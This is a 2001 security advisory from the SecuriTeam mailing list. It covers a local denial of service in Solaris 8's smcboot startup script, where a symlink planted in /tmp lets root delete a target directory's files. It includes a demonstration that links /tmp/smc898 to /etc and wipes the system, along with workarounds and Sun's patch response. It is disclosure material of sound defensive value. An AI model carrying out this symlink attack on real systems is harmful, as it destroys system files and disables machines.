The following security advisory is sent to the securiteam mailing list, and can be found at the Secur
iTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -



  Local DoS in Solaris 8 (smcboot)
------------------------------------------------------------------------


SUMMARY

The smcboot is a small proxy server used by the  
<http://www.sun.com/bigadmin/content/misc/smc20_faq.html> Sun Management 
Console Server in order to receive management connections. The smcboot 
startup procedure in certain hardware releases of Solaris 8 contains a 
security hole that can lead to a local denial of service and can leave the 
target system crippled.

DETAILS

Vulnerable versions:
Solaris 8, Hardware 4/01 and 1/01 (Part of the Solaris Management Console 
2.0)

Immune versions:
Solaris 8, original release, Hardware 10/00.

The version of smcboot that ships with Solaris 9 Beta exhibits the same 
insecure behavior, but as it writes its temporary files to /var/run (which 
is not world-writeable), so it doesn't seem vulnerable to the described 
attack. 

Versions of Solaris prior to Solaris 8 are not vulnerable, as they do not 
contain the product in question.

Details:
Out of the box, one of the startup scripts that are executed upon boot on 
the affected Solaris releases is /etc/rc2.d/S90wbem. That script contains 
the following block of code: 

 SMC_PORT=`getent services ftp | cut -d' ' -f1`
        if [ -n "$SMC_PORT" ]; then
                SMC_PORT=898
        fi

Later, the script calls smcboot:

if [ -n "$VIPER_HOME" ]; then
                $VIPER_HOME/bin/smcboot
        else

Apparently, smcboot uses /tmp/smc$SMC_PORT as the directory in which it 
keeps its PID file and possibly other state-keeping information. This is 
speculation, but is strengthened by the code in the rest of the startup 
script, which references that directory in the context of shutting the 
service down, and by the observable behavior of smcboot: 

        if [ -n "$VIPER_HOME" ]; then
                if [ -f /tmp/smc$SMC_PORT/boot.pid ]; then
                        kill -TERM `cat /tmp/smc$SMC_PORT/boot.pid`
                else
                        $VIPER_HOME/bin/smcserver -p $SMC_PORT stop
                fi
..

In any event, the smcboot process runs as root, does not properly handle 
the existence of /tmp/smc$SMC_PORT if it already exists, and apparently 
removes files in its target directory. Thus, it can be forced to remove 
arbitrary files under the right conditions. Because /tmp is world-writable 
and cleared at boot time, an unprivileged user who symbolically links 
/tmp/smc$SMC_PORT to an arbitrary directory early during the boot cycle 
(before S90wbem runs) can severely damage the contents of that target 
directory. 

In order to execute this attack, the user would have to be able to create 
the link between the time that the system boots (when /tmp is cleared) and 
when S90wbem starts. As S90wbem runs after S72inetsvc and S75cron, a 
narrow window exists in which a malicious user could log on to the system 
(or during which a pre-submitted cron job could run) and symbolically link 
/tmp/smc$SMC_PORT to a target directory. When S90wbem runs, the 
non-directory contents of the target directory will be destroyed. 

The problem is made easier to exploit by anything that slows down the boot 
process at the right spot (for example, if S75savecore has a large core 
dump to write out). The hole could be exploitable (e.g. if smcboot is 
disabled by default, but a sysadmin decides to manually start it under 
other conditions). 

Almost no documentation whatsoever can be found on WBEM or smcboot on 
Sunsolve, both on the public and customer (restricted access) web sites. 
We will assume from the name of the process that this is a component of 
the Sun Management Console. 

Demonstration:
// IF YOU FOLLOW THIS PROCEDURE EXACTLY, YOU WILL CRIPPLE YOUR SYSTEM.
// YOU HAVE BEEN WARNED!!!

// this assumes that smcboot is not running, for the sake of simplicity.

$ cd /tmp     
$ id
uid=60001(nobody) gid=60001(nobody)
$ pwd
/tmp
$ ln -s /etc smc898
$ ls -alt smc898
lrwxrwxrwx  1 nobody  nobody     4 Sep 1 11:54 smc898 -> /etc

// now, we'll manually run /etc/rc2.d/S90wbem, as root, as the boot
// process ordinarily would.

# id
uid=0(root) gid=1(other)
# /etc/rc2.d/S90wbem start
stat: No such file or directory
stat: No such file or directory
stat: No such file or directory
mkdir: File exists
..
 
INIT: Cannot stat /etc/inittab, errno: 2
  
// as a result of the attack, we've pretty much wiped out everything in
// /etc...

# ls /etc
TIMEZONE  inetd.conf mnttab   protocols  services
aliases   log     netmasks  rc2.d    sock2path
hosts    lp     networks  security
 
INIT: Cannot stat /etc/inittab, errno: 2
Sep 1 16:01:25 foo init[1]: open_pam_conf: stat(/etc/pam.conf) failed:
No such file or directory
Sep 1 16:01:25 foo init[1]: open_pam_conf: stat(/etc/pam.conf) failed:
No such file or directory

INIT: SINGLE USER MODE

INIT: execle of /etc/sulogin failed; errno = 2

ENTER RUN LEVEL (0-6, s or S) [3]:

// This system is now wrecked. Restoration of files from backup will be
// necessary to fix the damage we have caused.

Workarounds:
Disable /etc/rc2.d/S90wbem. This will (obviously) remove whatever 
functionality the service provides. 

Alternatively, the startup script could be made to run earlier in the 
Solaris startup process, so that it executes before inetd starts or the 
cron service becomes available. 

Vendor response:
Sun was notified on 9/4/2001. They assigned a BugID (available upon 
request) and were able to readily reproduce the problem. T-patches (beta) 
have been produced to address the issue. They are T109134-24 for Sparc and 
T109135-24 for x86. They are available through your Sun rep. Production 
patches are scheduled for release sometime around 10/1/2001.


ADDITIONAL INFORMATION

The information has been provided by  <mailtoecho8@gh0st.net> echo8.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@secu
riteam.com 
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.co
m 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, con
sequential, loss of business
 profits or special damages.